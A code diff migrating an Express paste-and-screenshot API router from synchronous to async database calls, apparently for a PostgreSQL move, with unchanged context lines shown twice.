// A held screenshot keeps its bytes (the row delete that follows is refused by the hold trigger).
// A held screenshot keeps its bytes (the row delete that follows is refused by the hold trigger).
const objects = require('../objects/model');
const objects = require('../objects/model');
- if (objects.isHeldRow(paste.object_id !== undefined ? paste : db.get('SELECT object_id FROM pastes WHERE id = ?', [paste.id]))) return;
+ if (await objects.isHeldRow(paste.object_id !== undefined ? paste : await db.get('SELECT object_id FROM pastes WHERE id = ?', [paste.id]))) return;
if (paste.screenshot_path) {
if (paste.screenshot_path) {
try { fs.unlinkSync(paste.screenshot_path); } catch { /* ignore */ }
try { fs.unlinkSync(paste.screenshot_path); } catch { /* ignore */ }
}
}
@@ -257,7 +257,7 @@ function removePasteScreenshot(paste) {
@@ -257,7 +257,7 @@ function removePasteScreenshot(paste) {
}
}
// ── List pastes ─────────────────────────────────────────────
// ── List pastes ─────────────────────────────────────────────
-router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
const limit = Math.min(Math.max(parseInt(req.query.limit) || 50, 1), 200);
const limit = Math.min(Math.max(parseInt(req.query.limit) || 50, 1), 200);
const offset = Math.max(parseInt(req.query.offset) || 0, 0);
const offset = Math.max(parseInt(req.query.offset) || 0, 0);
@@ -289,13 +289,13 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
@@ -289,13 +289,13 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
if (req.authType === 'app' && (req.query.needs_ai === '1' || req.query.needs_ai === 'true')) {
if (req.authType === 'app' && (req.query.needs_ai === '1' || req.query.needs_ai === 'true')) {
sql = sql.replace(visClause, `AND COALESCE(ai_summary, '') = ''`);
sql = sql.replace(visClause, `AND COALESCE(ai_summary, '') = ''`);
}
}
- if (search) { sql += ` AND (title LIKE ? OR content LIKE ?)`; params.push(search, search); }
+ if (search) { sql += ` AND (title ILIKE ? OR content ILIKE ?)`; params.push(search, search); }
const dir = req.query.sort === 'oldest' ? 'ASC' : 'DESC';
const dir = req.query.sort === 'oldest' ? 'ASC' : 'DESC';
sql += ` ORDER BY pinned DESC, created_at ${dir} LIMIT ? OFFSET ?`;
sql += ` ORDER BY pinned DESC, created_at ${dir} LIMIT ? OFFSET ?`;
params.push(limit, offset);
params.push(limit, offset);
- const pastes = db.all(sql, params).map(p => ({
+ const pastes = (await db.all(sql, params)).map(p => ({
...pastePublic(p),
...pastePublic(p),
content: p.type === 'paste' ? (p.content || '').slice(0, 300) : null, // Preview only in list
content: p.type === 'paste' ? (p.content || '').slice(0, 300) : null, // Preview only in list
}));
}));
@@ -304,8 +304,8 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
@@ -304,8 +304,8 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
const countParams = [req.appId];
const countParams = [req.appId];
if (type === 'paste' || type === 'screenshot') { countSql += ` AND type = ?`; countParams.push(type); }
if (type === 'paste' || type === 'screenshot') { countSql += ` AND type = ?`; countParams.push(type); }
if (userId != null) { countSql += ` AND user_id = ?`; countParams.push(userId); }
if (userId != null) { countSql += ` AND user_id = ?`; countParams.push(userId); }
- if (search) { countSql += ` AND (title LIKE ? OR content LIKE ?)`; countParams.push(search, search); }
- const { total } = db.get(countSql, countParams);
+ if (search) { countSql += ` AND (title ILIKE ? OR content ILIKE ?)`; countParams.push(search, search); }
+ const { total } = await db.get(countSql, countParams);
res.json({ pastes, total, limit, offset });
res.json({ pastes, total, limit, offset });
} catch (err) {
} catch (err) {
@@ -316,16 +316,16 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
@@ -316,16 +316,16 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
// ── Paste config / limits (inherited SPA reads this before posting) ──
// ── Paste config / limits (inherited SPA reads this before posting) ──
// Registered before /:slug so the literal path wins.
// Registered before /:slug so the literal path wins.
-router.get('/config', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/config', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const cfg = getPasteConfig();
+ const cfg = await getPasteConfig();
const actor = _actor(req);
const actor = _actor(req);
res.json({
res.json({
maxSizeKb: cfg.maxSizeKb,
maxSizeKb: cfg.maxSizeKb,
screenshotMaxSizeMb: cfg.screenshotMaxSizeMb,
screenshotMaxSizeMb: cfg.screenshotMaxSizeMb,
cooldownSeconds: cfg.cooldownSeconds,
cooldownSeconds: cfg.cooldownSeconds,
maxPerUserPerDay: cfg.maxPerUserPerDay,
maxPerUserPerDay: cfg.maxPerUserPerDay,
- todayCount: db.countUserPastesToday(req.appId, actor.userId, actor.ip),
+ todayCount: await db.countUserPastesToday(req.appId, actor.userId, actor.ip),
});
});
} catch (err) {
} catch (err) {
console.error('[Pastes] Config error:', err.message);
console.error('[Pastes] Config error:', err.message);
@@ -338,9 +338,9 @@ router.get('/config', tenantAuth({ allowUser: true }), (req, res) => {
@@ -338,9 +338,9 @@ router.get('/config', tenantAuth({ allowUser: true }), (req, res) => {
// ═════════════════════════════════════════════════════════════
// ═════════════════════════════════════════════════════════════
// ── Paste stats ─────────────────────────────────────────────
// ── Paste stats ─────────────────────────────────────────────
-router.get('/admin/stats', tenantAuth(), (req, res) => {
+router.get('/admin/stats', tenantAuth(), async (req, res) => {
try {
try {
- res.json({ stats: db.getPasteStats(req.appId) });
+ res.json({ stats: await db.getPasteStats(req.appId) });
} catch (err) {
} catch (err) {
console.error('[Pastes] Stats error:', err.message);
console.error('[Pastes] Stats error:', err.message);
res.status(500).json({ error: 'Failed to get paste stats' });
res.status(500).json({ error: 'Failed to get paste stats' });
@@ -348,18 +348,18 @@ router.get('/admin/stats', tenantAuth(), (req, res) => {
@@ -348,18 +348,18 @@ router.get('/admin/stats', tenantAuth(), (req, res) => {
});
});
// ── List forked pastes ──────────────────────────────────────
// ── List forked pastes ──────────────────────────────────────
-router.get('/admin/forks', tenantAuth(), (req, res) => {
+router.get('/admin/forks', tenantAuth(), async (req, res) => {
try {
try {
const limit = Math.min(Math.max(parseInt(req.query.limit) || 100, 1), 500);
const limit = Math.min(Math.max(parseInt(req.query.limit) || 100, 1), 500);
const offset = Math.max(parseInt(req.query.offset) || 0, 0);
const offset = Math.max(parseInt(req.query.offset) || 0, 0);
- const forks = db.all(`
+ const forks = await db.all(`
SELECT id, slug, user_id, type, title, forked_from, visibility,
SELECT id, slug, user_id, type, title, forked_from, visibility,
views, copies, likes, created_at
views, copies, likes, created_at
FROM pastes
FROM pastes
WHERE app_id = ? AND forked_from IS NOT NULL
WHERE app_id = ? AND forked_from IS NOT NULL
ORDER BY created_at DESC LIMIT ? OFFSET ?
ORDER BY created_at DESC LIMIT ? OFFSET ?
`, [req.appId, limit, offset]);
`, [req.appId, limit, offset]);
- const total = db.get('SELECT COUNT(*) AS c FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]).c;
+ const total = (await db.get('SELECT COUNT(*) AS c FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId])).c;
res.json({ forks, total, limit, offset });
res.json({ forks, total, limit, offset });
} catch (err) {
} catch (err) {
console.error('[Pastes] List forks error:', err.message);
console.error('[Pastes] List forks error:', err.message);
@@ -368,11 +368,11 @@ router.get('/admin/forks', tenantAuth(), (req, res) => {
@@ -368,11 +368,11 @@ router.get('/admin/forks', tenantAuth(), (req, res) => {
});
});
// ── Delete ALL forks (ported predecessor semantics) ─────────
// ── Delete ALL forks (ported predecessor semantics) ─────────
-router.delete('/admin/forks', tenantAuth(), (req, res) => {
+router.delete('/admin/forks', tenantAuth(), async (req, res) => {
try {
try {
- const forks = db.all('SELECT id, screenshot_path FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]);
- for (const f of forks) removePasteScreenshot(f); // unlink screenshots so they don't leak on disk
- db.run('DELETE FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]); // objects: the row-delete trigger
+ const forks = await db.all('SELECT id, screenshot_path FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]);
+ for (const f of forks) await removePasteScreenshot(f); // unlink screenshots so they don't leak on disk
+ await db.run('DELETE FROM pastes WHERE app_id = ? AND forked_from IS NOT NULL', [req.appId]); // objects: the row-delete trigger
res.json({ success: true, deleted: forks.length });
res.json({ success: true, deleted: forks.length });
} catch (err) {
} catch (err) {
console.error('[Pastes] Delete forks error:', err.message);
console.error('[Pastes] Delete forks error:', err.message);
@@ -381,22 +381,22 @@ router.delete('/admin/forks', tenantAuth(), (req, res) => {
@@ -381,22 +381,22 @@ router.delete('/admin/forks', tenantAuth(), (req, res) => {
});
});
// ── Bulk action: delete | public | unlisted | private ───────
// ── Bulk action: delete | public | unlisted | private ───────
-router.post('/bulk', tenantAuth(), (req, res) => {
+router.post('/bulk', tenantAuth(), async (req, res) => {
try {
try {
const { slugs, action } = req.body || {};
const { slugs, action } = req.body || {};
if (!Array.isArray(slugs) || !slugs.length) return res.status(400).json({ error: 'No slugs provided' });
if (!Array.isArray(slugs) || !slugs.length) return res.status(400).json({ error: 'No slugs provided' });
if (!['delete', 'public', 'unlisted', 'private'].includes(action)) return res.status(400).json({ error: 'Invalid action' });
if (!['delete', 'public', 'unlisted', 'private'].includes(action)) return res.status(400).json({ error: 'Invalid action' });
let done = 0, skipped = 0;
let done = 0, skipped = 0;
for (const slug of slugs.slice(0, 500)) {
for (const slug of slugs.slice(0, 500)) {
- const paste = db.getPasteBySlug(String(slug), req.appId);
+ const paste = await db.getPasteBySlug(String(slug), req.appId);
if (!paste) { skipped++; continue; }
if (!paste) { skipped++; continue; }
if (action === 'delete') {
if (action === 'delete') {
// A held screenshot is skipped (its row and bytes stay), not failed halfway.
// A held screenshot is skipped (its row and bytes stay), not failed halfway.
- if (require('../objects/model').isHeldRow(paste)) { skipped++; continue; }
- removePasteScreenshot(paste);
- db.run('DELETE FROM pastes WHERE id = ?', [paste.id]); // its object: the row-delete trigger
+ if (await require('../objects/model').isHeldRow(paste)) { skipped++; continue; }
+ await removePasteScreenshot(paste);
+ await db.run('DELETE FROM pastes WHERE id = ?', [paste.id]); // its object: the row-delete trigger
} else {
} else {
- db.withObject('paste', paste.id, () => db.run('UPDATE pastes SET visibility = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?', [action, paste.id]));
+ await db.withObject('paste', paste.id, async () => await db.run('UPDATE pastes SET visibility = ?, updated_at = ov_now() WHERE id = ?', [action, paste.id]));
}
}
done++;
done++;
}
}
@@ -408,17 +408,17 @@ router.post('/bulk', tenantAuth(), (req, res) => {
@@ -408,17 +408,17 @@ router.post('/bulk', tenantAuth(), (req, res) => {
});
});
// ── Censor a screenshot (replace with an uploaded image) ────
// ── Censor a screenshot (replace with an uploaded image) ────
-router.post('/:slug/censor', tenantAuth(), (req, res) => {
+router.post('/:slug/censor', tenantAuth(), async (req, res) => {
// Accept slug or numeric paste id (the predecessor keyed this by slug).
// Accept slug or numeric paste id (the predecessor keyed this by slug).
- let paste = db.getPasteBySlug(String(req.params.slug), req.appId);
+ let paste = await db.getPasteBySlug(String(req.params.slug), req.appId);
if (!paste && /^\d+$/.test(String(req.params.slug))) {
if (!paste && /^\d+$/.test(String(req.params.slug))) {
- paste = db.get('SELECT * FROM pastes WHERE id = ? AND app_id = ?', [parseInt(req.params.slug, 10), req.appId]);
+ paste = await db.get('SELECT * FROM pastes WHERE id = ? AND app_id = ?', [parseInt(req.params.slug, 10), req.appId]);
}
}
if (!paste) return res.status(404).json({ error: 'Paste not found' });
if (!paste) return res.status(404).json({ error: 'Paste not found' });
if (paste.type !== 'screenshot' || !paste.screenshot_path) {
if (paste.type !== 'screenshot' || !paste.screenshot_path) {
return res.status(400).json({ error: 'Not a screenshot paste' });
return res.status(400).json({ error: 'Not a screenshot paste' });
}
}
- if (require('../objects/model').isHeldRow(paste)) return res.status(409).json({ error: 'Screenshot is under a retention hold', code: 'media.object.held' });
+ if (await require('../objects/model').isHeldRow(paste)) return res.status(409).json({ error: 'Screenshot is under a retention hold', code: 'media.object.held' });
const censorUpload = multer({
const censorUpload = multer({
storage: screenshotStorage,
storage: screenshotStorage,
@@ -429,16 +429,16 @@ router.post('/:slug/censor', tenantAuth(), (req, res) => {
@@ -429,16 +429,16 @@ router.post('/:slug/censor', tenantAuth(), (req, res) => {
},
},
}).single('screenshot');
}).single('screenshot');
- censorUpload(req, res, (err) => {
+ censorUpload(req, res, async (err) => {
if (err) return res.status(400).json({ error: err.message || 'Upload failed' });
if (err) return res.status(400).json({ error: err.message || 'Upload failed' });
if (!req.file) return res.status(400).json({ error: 'Censored image is required' });
if (!req.file) return res.status(400).json({ error: 'Censored image is required' });
try {
try {
// Delete the old screenshot file, then swap in the censored one.
// Delete the old screenshot file, then swap in the censored one.
try { fs.unlinkSync(paste.screenshot_path); } catch { /* */ }
try { fs.unlinkSync(paste.screenshot_path); } catch { /* */ }
- db.withObject('paste', paste.id, () => db.run('UPDATE pastes SET screenshot_path = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?',
+ await db.withObject('paste', paste.id, async () => await db.run('UPDATE pastes SET screenshot_path = ?, updated_at = ov_now() WHERE id = ?',
[req.file.path, paste.id]));
[req.file.path, paste.id]));
- res.json({ paste: pastePublic(db.getPasteBySlug(paste.slug, req.appId)) });
+ res.json({ paste: pastePublic(await db.getPasteBySlug(paste.slug, req.appId)) });
} catch (err2) {
} catch (err2) {
console.error('[Pastes] Censor error:', err2.message);
console.error('[Pastes] Censor error:', err2.message);
if (req.file?.path) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }
if (req.file?.path) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }
@@ -448,9 +448,9 @@ router.post('/:slug/censor', tenantAuth(), (req, res) => {
@@ -448,9 +448,9 @@ router.post('/:slug/censor', tenantAuth(), (req, res) => {
});
});
// ── Get single paste by slug ────────────────────────────────
// ── Get single paste by slug ────────────────────────────────
-router.get('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/:slug', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
// Private pastes: owner (or the app itself) only — decided before anything is counted.
// Private pastes: owner (or the app itself) only — decided before anything is counted.
if (paste.visibility === 'private') {
if (paste.visibility === 'private') {
@@ -458,14 +458,14 @@ router.get('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
@@ -458,14 +458,14 @@ router.get('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
if (!allowed) return res.status(404).json({ error: 'Paste not found' });
if (!allowed) return res.status(404).json({ error: 'Paste not found' });
}
}
// The owning app renders the paste page itself — count the view here (real client
// The owning app renders the paste page itself — count the view here (real client
- // IP via X-Forwarded-For, viewer via the user JWT / X-OV-User-Id) unless it says
+ // IP via X-Forwarded-For, viewer via the "user" JWT / X-OV-User-Id) unless it says
// this fetch is not a page view (?no_view=1 for edit forms, embeds, bots).
// this fetch is not a page view (?no_view=1 for edit forms, embeds, bots).
if (String(req.query.no_view || '') !== '1' && !paste.burn_after_read) {
if (String(req.query.no_view || '') !== '1' && !paste.burn_after_read) {
- try { const r = require('../views/service').recordView('paste', paste.id, { req, ownerUserId: paste.user_id }); if (r.view_count != null) { paste.views = r.view_count; paste.unique_views = r.unique_views; } } catch { /* */ }
+ try { const r = await require('../views/service').recordView('paste', paste.id, { req, ownerUserId: paste.user_id }); if (r.view_count != null) { paste.views = r.view_count; paste.unique_views = r.unique_views; } } catch { /* */ }
}
}
- paste.liked = req.userId != null ? db.hasUserLikedPaste(paste.id, req.userId) : false;
+ paste.liked = req.userId != null ? await db.hasUserLikedPaste(paste.id, req.userId) : false;
res.json({ paste: { ...pastePublic(paste), liked: paste.liked } });
res.json({ paste: { ...pastePublic(paste), liked: paste.liked } });
} catch (err) {
} catch (err) {
console.error('[Pastes] Get error:', err.message);
console.error('[Pastes] Get error:', err.message);
@@ -477,9 +477,9 @@ router.get('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
@@ -477,9 +477,9 @@ router.get('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('screenshot'), async (req, res) => {
router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('screenshot'), async (req, res) => {
try {
try {
const body = req.body || {};
const body = req.body || {};
- const cfg = getPasteConfig();
+ const cfg = await getPasteConfig();
- if (!_rateLimitCheck(req, res)) {
+ if (!await _rateLimitCheck(req, res)) {
if (req.file) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }
if (req.file) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }
return;
return;
}
}
@@ -489,7 +489,7 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree
@@ -489,7 +489,7 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree
const vis = ['unlisted', 'private'].includes(body.visibility) ? body.visibility : 'public';
const vis = ['unlisted', 'private'].includes(body.visibility) ? body.visibility : 'public';
const burn = body.burn_after_read ? 1 : 0;
const burn = body.burn_after_read ? 1 : 0;
const nsfw = body.is_nsfw ? 1 : 0;
const nsfw = body.is_nsfw ? 1 : 0;
- const slug = generateSlug();
+ const slug = await generateSlug();
// ── Screenshot paste ────────────────────────────────
// ── Screenshot paste ────────────────────────────────
if (req.file) {
if (req.file) {
@@ -525,14 +525,14 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree
@@ -525,14 +525,14 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree
});
});
// The row and the screenshot's object in one transaction.
// The row and the screenshot's object in one transaction.
- db.withObject('paste', (r) => r.lastInsertRowid, () => db.run(
+ await db.withObject('paste', (r) => r.lastInsertRowid, async () => await db.run(
`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, stream_id, screenshot_path, metadata, burn_after_read, is_nsfw, ip_address)
`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, stream_id, screenshot_path, metadata, burn_after_read, is_nsfw, ip_address)
- VALUES (?, ?, ?, 'screenshot', ?, ?, 'text', ?, ?, ?, ?, ?, ?, ?)`,
+ VALUES (?, ?, ?, 'screenshot', ?, ?, 'text', ?, ?, ?, ?, ?, ?, ?) RETURNING id`,
[req.appId, slug, userId, sanitizeTitle(body.title || 'Screenshot'),
[req.appId, slug, userId, sanitizeTitle(body.title || 'Screenshot'),
body.description || body.content || '', vis, body.stream_id || null, req.file.path, metadata, burn, nsfw, actor.ip]
body.description || body.content || '', vis, body.stream_id || null, req.file.path, metadata, burn, nsfw, actor.ip]
));
));
- const paste = db.getPasteBySlug(slug, req.appId);
+ const paste = await db.getPasteBySlug(slug, req.appId);
return res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });
return res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });
}
}
@@ -547,14 +547,14 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree
@@ -547,14 +547,14 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree
}
}
const lang = detectLanguage(content, body.language);
const lang = detectLanguage(content, body.language);
- db.run(
+ await db.run(
`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, stream_id, burn_after_read, is_nsfw, ip_address)
`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, stream_id, burn_after_read, is_nsfw, ip_address)
- VALUES (?, ?, ?, 'paste', ?, ?, ?, ?, ?, ?, ?, ?)`,
+ VALUES (?, ?, ?, 'paste', ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,
[req.appId, slug, userId, sanitizeTitle(body.title), content.trim(), lang, vis,
[req.appId, slug, userId, sanitizeTitle(body.title), content.trim(), lang, vis,
body.stream_id || null, burn, nsfw, actor.ip]
body.stream_id || null, burn, nsfw, actor.ip]
);
);
- const paste = db.getPasteBySlug(slug, req.appId);
+ const paste = await db.getPasteBySlug(slug, req.appId);
res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });
res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });
} catch (err) {
} catch (err) {
console.error('[Pastes] Create error:', err.message);
console.error('[Pastes] Create error:', err.message);
@@ -571,19 +571,19 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree
@@ -571,19 +571,19 @@ router.post('/', tenantAuth({ allowUser: true }), screenshotUpload.single('scree
* OWN pastes table, which no longer receives rows, so every paste created since had no
* OWN pastes table, which no longer receives rows, so every paste created since had no
* summary. There was no route to write one either; this is it.
* summary. There was no route to write one either; this is it.
*/
*/
-router.post('/:slug/ai', tenantAuth(), (req, res) => {
+router.post('/:slug/ai', tenantAuth(), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
const { ai_summary, ai_tags } = req.body || {};
const { ai_summary, ai_tags } = req.body || {};
const summary = ai_summary == null ? null : String(ai_summary).slice(0, 2000);
const summary = ai_summary == null ? null : String(ai_summary).slice(0, 2000);
const tags = ai_tags == null ? null
const tags = ai_tags == null ? null
: (typeof ai_tags === 'string' ? ai_tags : JSON.stringify(ai_tags)).slice(0, 2000);
: (typeof ai_tags === 'string' ? ai_tags : JSON.stringify(ai_tags)).slice(0, 2000);
- db.run(
- 'UPDATE pastes SET ai_summary = ?, ai_tags = ?, ai_analyzed_at = CURRENT_TIMESTAMP WHERE id = ?',
+ await db.run(
+ 'UPDATE pastes SET ai_summary = ?, ai_tags = ?, ai_analyzed_at = ov_now() WHERE id = ?',
[summary, tags, paste.id]
[summary, tags, paste.id]
);
);
- res.json({ ok: true, paste: pastePublic(db.getPasteBySlug(paste.slug, req.appId)) });
+ res.json({ ok: true, paste: pastePublic(await db.getPasteBySlug(paste.slug, req.appId)) });
} catch (err) {
} catch (err) {
console.error('[Pastes] AI update error:', err.message);
console.error('[Pastes] AI update error:', err.message);
res.status(500).json({ error: 'Failed to store paste AI' });
res.status(500).json({ error: 'Failed to store paste AI' });
@@ -591,9 +591,9 @@ router.post('/:slug/ai', tenantAuth(), (req, res) => {
@@ -591,9 +591,9 @@ router.post('/:slug/ai', tenantAuth(), (req, res) => {
});
});
// ── Update paste ────────────────────────────────────────────
// ── Update paste ────────────────────────────────────────────
-router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
+router.put('/:slug', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
if (req.authType === 'user' && !(req.userId != null && paste.user_id === req.userId)) {
if (req.authType === 'user' && !(req.userId != null && paste.user_id === req.userId)) {
return res.status(403).json({ error: 'Not authorized for this paste' });
return res.status(403).json({ error: 'Not authorized for this paste' });
@@ -605,7 +605,7 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
@@ -605,7 +605,7 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
if (title !== undefined) { updates.push('title = ?'); params.push(sanitizeTitle(title)); }
if (title !== undefined) { updates.push('title = ?'); params.push(sanitizeTitle(title)); }
if (content !== undefined && paste.type === 'paste') {
if (content !== undefined && paste.type === 'paste') {
- const cfg = getPasteConfig();
+ const cfg = await getPasteConfig();
if (content.length > cfg.maxSizeKb * 1024) return res.status(400).json({ error: 'Too large' });
if (content.length > cfg.maxSizeKb * 1024) return res.status(400).json({ error: 'Too large' });
updates.push('content = ?'); params.push(content);
updates.push('content = ?'); params.push(content);
updates.push('language = ?'); params.push(detectLanguage(content, language));
updates.push('language = ?'); params.push(detectLanguage(content, language));
@@ -618,11 +618,11 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
@@ -618,11 +618,11 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
if (updates.length === 0) return res.status(400).json({ error: 'Nothing to update' });
if (updates.length === 0) return res.status(400).json({ error: 'Nothing to update' });
- updates.push('updated_at = CURRENT_TIMESTAMP');
+ updates.push('updated_at = ov_now()');
params.push(paste.id);
params.push(paste.id);
// A screenshot's title/visibility are its object's too: row and object in one transaction (text pastes have none).
// A screenshot's title/visibility are its object's too: row and object in one transaction (text pastes have none).
- db.withObject('paste', paste.id, () => db.run(`UPDATE pastes SET ${updates.join(', ')} WHERE id = ?`, params));
- res.json({ paste: pastePublic(db.getPasteBySlug(paste.slug, req.appId)) });
+ await db.withObject('paste', paste.id, async () => await db.run(`UPDATE pastes SET ${updates.join(', ')} WHERE id = ?`, params));
+ res.json({ paste: pastePublic(await db.getPasteBySlug(paste.slug, req.appId)) });
} catch (err) {
} catch (err) {
console.error('[Pastes] Update error:', err.message);
console.error('[Pastes] Update error:', err.message);
res.status(500).json({ error: 'Failed to update paste' });
res.status(500).json({ error: 'Failed to update paste' });
@@ -630,17 +630,17 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
@@ -630,17 +630,17 @@ router.put('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
});
});
// ── Delete paste ────────────────────────────────────────────
// ── Delete paste ────────────────────────────────────────────
-router.delete('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
+router.delete('/:slug', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
if (req.authType === 'user' && !(req.userId != null && paste.user_id === req.userId)) {
if (req.authType === 'user' && !(req.userId != null && paste.user_id === req.userId)) {
return res.status(403).json({ error: 'Not authorized for this paste' });
return res.status(403).json({ error: 'Not authorized for this paste' });
}
}
- if (require('../objects/model').isHeldRow(paste)) return res.status(409).json({ error: 'Screenshot is under a retention hold', code: 'media.object.held' });
+ if (await require('../objects/model').isHeldRow(paste)) return res.status(409).json({ error: 'Screenshot is under a retention hold', code: 'media.object.held' });
- removePasteScreenshot(paste);
- db.run('DELETE FROM pastes WHERE id = ?', [paste.id]); // its object: the row-delete trigger
+ await removePasteScreenshot(paste);
+ await db.run('DELETE FROM pastes WHERE id = ?', [paste.id]); // its object: the row-delete trigger
res.json({ success: true });
res.json({ success: true });
} catch (err) {
} catch (err) {
console.error('[Pastes] Delete error:', err.message);
console.error('[Pastes] Delete error:', err.message);
@@ -649,24 +649,24 @@ router.delete('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
@@ -649,24 +649,24 @@ router.delete('/:slug', tenantAuth({ allowUser: true }), (req, res) => {
});
});
// ── Fork (copy) a paste ─────────────────────────────────────
// ── Fork (copy) a paste ─────────────────────────────────────
-router.post('/:slug/fork', tenantAuth({ allowUser: true }), (req, res) => {
+router.post('/:slug/fork', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const original = _getPasteScoped(req, res);
+ const original = await _getPasteScoped(req, res);
if (!original) return;
if (!original) return;
if (original.type !== 'paste') return res.status(400).json({ error: 'Only text pastes can be forked' });
if (original.type !== 'paste') return res.status(400).json({ error: 'Only text pastes can be forked' });
- if (!_rateLimitCheck(req, res)) return;
+ if (!await _rateLimitCheck(req, res)) return;
const actor = _actor(req);
const actor = _actor(req);
const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);
const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);
- const slug = generateSlug();
- db.run(
+ const slug = await generateSlug();
+ await db.run(
`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, forked_from, ip_address)
`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, forked_from, ip_address)
- VALUES (?, ?, ?, 'paste', ?, ?, ?, 'public', ?, ?)`,
+ VALUES (?, ?, ?, 'paste', ?, ?, ?, 'public', ?, ?) RETURNING id`,
[req.appId, slug, userId, `Fork of ${original.title}`,
[req.appId, slug, userId, `Fork of ${original.title}`,
original.content, original.language, original.id, actor.ip]
original.content, original.language, original.id, actor.ip]
);
);
- const paste = db.getPasteBySlug(slug, req.appId);
+ const paste = await db.getPasteBySlug(slug, req.appId);
res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });
res.status(201).json({ id: paste.id, slug, url: `/p/${slug}`, paste: pastePublic(paste) });
} catch (err) {
} catch (err) {
console.error('[Pastes] Fork error:', err.message);
console.error('[Pastes] Fork error:', err.message);
@@ -675,15 +675,15 @@ router.post('/:slug/fork', tenantAuth({ allowUser: true }), (req, res) => {
@@ -675,15 +675,15 @@ router.post('/:slug/fork', tenantAuth({ allowUser: true }), (req, res) => {
});
});
// ── Like / Unlike a paste ───────────────────────────────────
// ── Like / Unlike a paste ───────────────────────────────────
-router.post('/:slug/like', tenantAuth({ allowUser: true }), (req, res) => {
+router.post('/:slug/like', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);
const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);
if (userId == null) return res.status(400).json({ error: 'user_id required to like' });
if (userId == null) return res.status(400).json({ error: 'user_id required to like' });
- const alreadyLiked = db.hasUserLikedPaste(paste.id, userId);
- const result = alreadyLiked ? db.unlikePaste(paste.id, userId) : db.likePaste(paste.id, userId);
+ const alreadyLiked = await db.hasUserLikedPaste(paste.id, userId);
+ const result = alreadyLiked ? await db.unlikePaste(paste.id, userId) : await db.likePaste(paste.id, userId);
res.json({ liked: !alreadyLiked, likes: result?.likes || 0 });
res.json({ liked: !alreadyLiked, likes: result?.likes || 0 });
